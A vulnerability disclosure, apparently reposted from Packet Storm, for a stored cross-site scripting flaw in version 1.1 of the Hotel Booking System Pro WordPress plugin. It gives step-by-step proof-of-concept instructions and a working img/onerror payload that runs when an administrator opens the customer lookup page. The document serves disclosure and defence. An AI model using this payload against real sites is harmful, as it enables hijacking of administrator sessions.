WordPress Hotel Booking System Pro 1.1 Cross Site Scripting

WordPress Hotel Booking System Pro plugin version 1.1 suffers from a cross site scripting vulnerability.


MD5 | aaf87caa2a60cbec5c87d3dcf0b30316

Download
# Exploit Title: WordPress Hotel Booking System Pro v1.1  XSS Vunlerability
# Google Dork:N/A
# Date: 2020-04-04
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://codecanyon.net/item/online-hotel-booking-system-pro-wordpress-plugin/9338914
# Version: 1.1
# Tested on: 5.4.0-4parrot1-amd64

---------------------------------------------------------


Summary:

Persistent Cross-site Scripting in Customer registration-form   all-tags 

PoC 1:



1- Go to the hotel booking page then choose new customor 
http://example/wp-hotel-pro/

2- In "any " field of registration form type your payload :
 "><img src=x onerror=prompt(document.domain);>
 
3-then hit CONTINUE


4- Once the admin logs in and go to Customerlookup page ... the admin will be xssed 


http://example/wp-hotel-pro/wp-admin/admin.php?page=Customerlookup




Impact:
XSS can lead to adminstators/users's Session Hijacking, and if used in conjunction with a social engineering attack it can also lead to disclosure of sensitive data, CSRF attacks and other critical  attacks on administrators directly.


Other infos:

Supported Wordpress versions:
  WordPress 4.9.x
  WordPress 4.8.x
  WordPress 4.7.x
  WordPress 4.6.1
  WordPress 4.6
  WordPress 4.5.x
  WordPress 4.5.2
  WordPress 4.5.1 
  WordPress 4.5 
  WordPress 4.4.2 
  WordPress 4.4.1 
  WordPress 4.4 
  WordPress 4.3.1 
  WordPress 4.3, 
  WordPress 4.2, 
  WordPress 4.1, 
  wordPress 4.0
  
Screentshoots:

https://imgur.com/7QuD67x


Source: packetstormsecurity.com
Related Posts